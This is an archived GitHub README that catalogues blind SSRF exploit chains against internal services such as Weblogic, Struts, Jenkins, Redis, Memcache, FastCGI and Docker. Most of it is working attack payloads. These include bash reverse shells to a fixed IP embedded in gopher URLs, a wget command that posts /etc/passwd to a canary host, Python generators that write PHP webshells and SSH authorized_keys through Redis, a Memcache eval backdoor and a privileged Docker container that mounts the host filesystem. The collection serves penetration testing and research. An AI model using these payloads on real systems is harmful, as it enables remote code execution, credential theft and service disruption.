

Payload repository

Payload repository - assetnote, GitHub.

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Content

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README.md

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Introduction

What is Server Side Request Forgery (SSRF)?

Server Side Request Forgery occurs when you can coerce a server to make arbitrary requests on your behalf. As the requests are being made by the server, it may be possible to access internal resources due to where the server is positioned in the network. On cloud environments, SSRF poses a more significant risk due to the presence of [metadata endpoints](#) that may contain sensitive credentials or secrets.

Blind SSRF

When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. In the industry, this behaviour is often referred to as

"Blind SSRF". In such situations, how do we prove impact? This was an interesting discussion that was sparked by Justin Gardner on Twitter:

```
<blockquote class="twitter-tweet" data-theme="dark"><p lang="en" dir="ltr">I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. <a href="https://twitter.com/nnwakelam?ref_src=twsrc%5Etfw">@nnwakelam</a> <a href="https://twitter.com/thedawgyg?ref_src=twsrc%5Etfw">@thedawgyg</a></p>&mdash; Justin Gardner (@Rhynorater) <a href="https://twitter.com/Rhynorater/status/1349290375312154625?ref_src=twsrc%5Etfw">January 13, 2021</a></blockquote>
```

If you can reach internal resources, there are a number of potential exploit chains that can be executed to prove impact. This blog post attempts to go into detail for each known exploit chain when leveraging blind SSRF, and will be updated as more techniques are discovered and shared.

If we've missed any techniques, please send us a tweet or a DM: [@assetnote](#) and we'll add it to this blog.

SSRF Canaries

```
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.</p>&mdash; Frans Ros  n (@fransrosen) <a href="https://twitter.com/fransrosen/status/1349397387920502786?ref_src=twsrc%5Etfw">January 13, 2021</a></blockquote>
```

In order to validate that you can interact with internal services or applications, you can utilise "SSRF canaries".

This is when we can request an internal URL that performs another SSRF and calls out to your canary host. If you receive a request to your canary host, it means that you have successfully hit an internal service that is also capable making outbound requests.

This is an effective way to verify that an SSRF vulnerability has access to a internal networks or applications, and to also verify the presence of certain software existing on the internal network. You can also potentially pivot to more sensitive parts of an internal network using an SSRF canary, depending on where it sits.

Using DNS datasources and AltDNS to find internal hosts

With the goal being to find as many internal hosts as possible, DNS datasources can be utilised to find all records that point to internal hosts.

On cloud environments, we often see ELBs that are pointing to hosts inside an internal VPC. Depending on which VPC the asset you're targeting is in, it may be possible to access

other hosts within the same VPC.

For example, consider the following host has been discovered from DNS datasources:

```
livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
```

You can make an assumption that the `es` stands for Elasticsearch, and then perform further attacks on this host. You can also spray all of these blind SSRF payloads across all of the "internal" hosts that have been identified through this method. This is often effective.

To find more internal hosts, I recommend taking all of your DNS data and then using something like [AltDNS](#) to generate permutations and then resolve them with a [fast DNS bruteforcer](#).

Once this is complete, identify all of the newly discovered internal hosts and use them as a part of your blind SSRF chain.

Side Channel Leaks

When exploiting blind SSRF vulnerabilities, you may be able to leak some information about the response being returned. For example, let's say that you have blind SSRF via an XXE, the error messages may indicate whether or not:

- A response was returned

```
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.
```

vs.

- Host and port are unreachable

```
Error parsing request: System.Net.WebException: Unable to connect to the remote server
```

Similarly, outside of XXEs, a web application could also have a side channel leak that can be ascertained by inspecting differences within the:

- **Response status code:**

```
Online internal asset:port responds with 200 OK vs offline internal asset:port 500 Internal Server Error
```

- **Response contents:**

The response size in bytes is smaller or bigger depending on whether or not the URL you are trying to request is reachable.

- **Response timing:**

The response times are slower or faster depending on whether or not the URL you are trying to request is reachable.

Techniques

Possible via HTTP(s)

- Elasticsearch
- Weblogic
- Hashicorp Consul
- Shellshock
- Apache Druid
- Apache Solr
- PeopleSoft
- Apache Struts
- JBoss
- Confluence
- Jira
- Other Atlassian Products
- OpenTSDB
- Jenkins
- Hystrix Dashboard
- W3 Total Cache
- Docker
- Gitlab Prometheus Redis Exporter

Possible via Gopher

- Redis
- Memcache
- Apache Tomcat
- FastCGI
- Java RMI

Tools

- Gopherus
- remote-method-guesser
- SSRF Proxy

Possible via HTTP(s)

<div id="elasticsearch"></div>

Elasticsearch

Commonly bound port: 9200

When Elasticsearch is deployed internally, it usually does not require authentication.

If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:

```
/_cluster/health
/_cat/indices
/_cat/health
```

If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:

Note: the `_shutdown` API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:

```
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
```

<div id="weblogic"></div>

Weblogic

Commonly bound ports: 80, 443 (SSL), 7001, 8888

SSRF Canary: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp **HTTP/1.1**

Host: target.com

Content-Length: 137

Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

This also works via GET:

```
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
```

This endpoint is also vulnerable to CRLF injection:

```
GET /uddiexplorer/SearchPublicRegistries.jsp?
operator=http://attacker.com:4000/exp%20HTTP/1.1%0AX-
CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor
=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
```

Will result in the following request:

```
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.1
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:env="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body>
<find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business>
</env:Body></env:Envelope>
```

SSRF Canary: CVE-2020-14883

Taken from [here](#).

Linux:

```
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```

Windows:

```
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```

<div id="consul"></div>

Hashicorp Consul

Commonly bound ports: 8500, 8501 (SSL)

Writeup can be found [here](#).

<div id="shellshock"></div>

Shellshock

Commonly bound ports: 80, 443 (SSL), 8080

In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:

Short list of CGI paths to test:

[Gist containing paths.](#)

SSRF Canary: Shellshock via User Agent

```
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
```

<div id="druid"></div>

Apache Druid

Commonly bound ports: 80, 8080, 8888, 8082

See the API reference for Apache Druid [here](#).

If you can view the status code, check the following paths to see if they return a 200 status code:

```
/status/selfDiscovered/status  
/druid/coordinator/v1/leader  
/druid/coordinator/v1/metadata/datasources  
/druid/indexer/v1/taskStatus
```

Shutdown tasks, requires you to guess task IDs or the datasource name:

```
/druid/indexer/v1/task/{taskId}/shutdown  
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
```

Shutdown supervisors on Apache Druid Overlords:

```
/druid/indexer/v1/supervisor/terminateAll  
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```

<div id="solr"></div>

Apache Solr

Commonly bound port: 8983

SSRF Canary: Shards Parameter

<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.</p>— Хавиж Наффи (@nnwakelam) January 13, 2021</blockquote>

Taken from [here](#).

```
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
```

SSRF Canary: Solr XXE (2017)

[Apache Solr 7.0.1 XXE \(Packetstorm\)](#)

```
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM
"http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
```

RCE via dataImportHandler

[Research on RCE via dataImportHandler](#)

<div id="peoplesoft"></div>

PeopleSoft

Commonly bound ports: 80,443 (SSL)

Taken from this research [here](#).

SSRF Canary: XXE #1

```
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
  <ExternalOperationName>&x;</ExternalOperationName>
  <OperationType/>
  <From><RequestingNode/>
    <Password/>
    <OrigUser/>
    <OrigNode/>
    <OrigProcess/>
    <OrigTimeStamp/>
  </From>
  <To>
    <FinalDestination/>
    <DestinationNode/>
    <SubChannel/>
  </To>
  <ContentSections>
    <ContentSection>
      <NonRepudiation/>
      <MessageVersion/>
      <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
      </Data>
    </ContentSection>
  </ContentSections>
</IBRequest>
```

SSRF Canary: XXE #2

```
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
```

<div id="struts"></div>

Apache Struts

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Taken from [here](#).

SSRF Canary: Struts2-016:

Append this to the end of every internal endpoint/URL you know of:

```
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]
{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader
(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SS
RF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23
http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream())}
```

<div id="jboss"></div>

JBoss

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Taken from [here](#).

SSRF Canary: Deploy WAR from URL

```
/jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CA
NARY/utils/cmd.war
```

<div id="confluence"></div>

Confluence

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)

```
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
```

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

[Atlassian Security Ticket OAUTH-344](#)

```
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```

<div id="jira"></div>

Jira

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

[Atlassian Security Ticket OAUTH-344](#)

```
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

[Atlassian Security Ticket JRASERVER-69793](#)

```
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```

<div id="atlassian-products"></div>

Other Atlassian Products

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2

[Atlassian Security Ticket OAUTH-344](#)

```
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```

<div id="opentsdb"></div>

OpenTSDB

Commonly bound port: 4242

[OpenTSDB Remote Code Execution](#)

SSRF Canary: curl via RCE

```
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
```

OpenTSDB 2.4.0 Remote Code Execution

SSRF Canary: curl via RCE - CVE-2020-35476

```
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```

<div id="jenkins"></div>

Jenkins

Commonly bound ports: 80,443 (SSL),8080,8888

Great writeup [here](#).

SSRF Canary: CVE-2018-1000600

```
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
```

RCE

Follow the instructions here to achieve RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](#)

```
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw',root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc',version='1')%0aimport Orange;
```

RCE via Groovy

```
cmd = 'curl burp_collab'
pay = 'public class x {public x(){ "%s".execute()}}' % cmd
data =
'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```

<div id="hystrix"></div>

Hystrix Dashboard

Commonly bound ports: 80,443 (SSL),8080

Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.

SSRF Canary: CVE-2020-5412

```
/proxy.stream?origin=http://SSRF_CANARY/
```

```
<div id="w3"></div>
```

W3 Total Cache

Commonly bound ports: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

This needs to be a PUT request:

```
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type": "SubscriptionConfirmation", "Message": "", "SubscribeURL": "https://SSRF_CANARY"}
```

SSRF Canary

The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](#)

This PHP code will generate a payload for your SSRF Canary host (replace `url` with your canary host):

```
<?php
```

```
$url='http://www.google.com';  
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');  
$file=chop($file, '=');  
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';  
echo($req);  
  
?>
```

Docker

Commonly bound ports: 2375, 2376 (SSL)

If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker's API:

```
/containers/json  
/secrets  
/services
```

RCE via running an arbitrary docker image

```
POST /containers/create?name=test HTTP/1.1  
Host: website.com  
Content-Type: application/json  
...  
  
{  
  "Image": "alpine",  
  "Cmd": ["/usr/bin/tail", "-f", "1234", "/dev/null"],  
  "Binds": ["/:/mnt"],  
  "Privileged": true  
}
```

Replace alpine with an arbitrary image you would like the docker container to run.

Gitlab Prometheus Redis Exporter

Commonly bound ports: 9121

This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](#) Prometheus and its exporters are on by default, starting with GitLab 9.0.

These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.

The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:

```
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```

Possible via Gopher

<div id="redis"></div>

Redis

Commonly bound port: 6379

Recommended reading:

- [Trying to hack Redis via HTTP requests](#)
- [SSRF Exploits against Redis](#)

RCE via Cron - [Gopher Attack Surfaces](#)

```
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1
-x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```

Gopher:

```
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1
%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333
0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0
adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10
%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```

RCE via Shell Upload (PHP) - [Redis Getshell Summary](#)

```
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=[ "flushall",
      "set 1 {}".format(shell.replace(" ", "${IFS}")),
      "config set dir {}".format(path),
      "config set dbfilename {}".format(filename),
      "save"
    ]

if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload=protocol+ip+": "+port+"/_"

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*" +str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"${"+str(len((x.replace("${IFS}", " "))))+CRLF+x.replace("${IFS}", " ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
```

RCE via authorized_keys - Redis Getshell Summary

```

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpulic_key = "\n\nssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQAC8I0nJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffP
nIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlGFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q
/DvIFif6IjmVRfWXhknjNehYjsp4gIEBiiW/jWId5yr09+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gC
rKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4
/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
    "set 1 {}".format(sshpulic_key.replace(" ", "${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload=protocol+ip+": "+port+"/_ "
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*" +str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"${"+str(len((x.replace("${IFS}", " "))))+CRLF+x.replace("${IFS}", " ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

```

RCE on GitLab via Git protocol

Great writeup from Liveoverflow [here](#).

While this required authenticated access to GitLab to exploit, I am including the payload here as the `git` protocol may work on the target you are hacking. This payload is for reference.

```
git://[0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueue%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%20222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```

<div id="memcache"></div>

Memcache

Commonly bound port: 11211

- [vBulletin Memcache RCE](#)
- [GitHub Enterprise Memcache RCE](#)
- [Example Gopher payload for Memcache](#)

```
gopher://[target ip]:11211/_%0d%0aset ssrfest 1 0 147%0d%0aa:2:{s:6:"output";a:1:
{s:4:"preg";a:2:
{s:6:"search";s:5:"/.*\/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"
rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrfest%0d%0a
```

<div id="tomcat"></div>

Apache Tomcat

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Effective against Tomcat 6 only:

[gopher-tomcat-deployer](#)

CTF writeup using this technique:

[From XXE to RCE: Pwn2Win CTF 2018 Writeup](#)

<div id="fastcgi"></div>

FastCGI

Commonly bound ports: 80,443 (SSL)

This was taken from [here](#).

```
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%01%04%00%01%01%
10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER
_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_i
nclude%20%3D%200n%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%200ff%0Aauto_prepend_fil
e%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04
%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-
i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27----
-0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```

<div id="java-rmi"></div>

Java RMI

Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999

Blind *SSRF* vulnerabilities that allow arbitrary bytes (*gopher based*) can be used to perform deserialization or codebase attacks on the *Java RMI* default components (*RMI Registry, Distributed Garbage Collector, Activation System*). A detailed writeup can be found [here](#). The following listing shows an example for the payload generation:

```
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --
component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+]      SSRF Payload:
gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
```

Tools

<div id="gopherus"></div>

Gopherus

- [Gopherus - Github](#)
- [Blog post on Gopherus](#)

This tool generates Gopher payloads for:

- MySQL
- PostgreSQL
- FastCGI

- Redis
- Zabbix
- Memcache

<div id="remote-method-guesser"></div>

remote-method-guesser

- [remote-method-guesser - Github](#)
- [Blog post on SSRF usage](#)

remote-method-guesser is a *Java RMI* vulnerability scanner that supports attack operations for most common *Java RMI* vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an **SSRF** payload for the requested operation. Together with the `--gopher` option, ready to use *gopher* payloads can be generated directly.

<div id="ssrfproxy"></div>

SSRF Proxy

- [SSRF Proxy](#)

SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).

Credits:

Thank you to the following people that have contributed to this post:

- [@Rhynorater](#) - Numerous contributions towards this blog post
- [@nnwakelam](#) - Solr Shards SSRF
- [@marcioalm](#) - Tomcat 6 Gopher RCE
- [@vtnahira](#) - OpenTSDB RCE
- [@fransrosen](#) - SSRF canaries concept
- [@theabrahack](#) - RCE via Jenkins Groovy
- [@qtc_de](#) - RCE via Java RMI

Archived from <https://github.com/assetnote/blind-ssrf-chains>. Rendered offline from the local Markdown copy.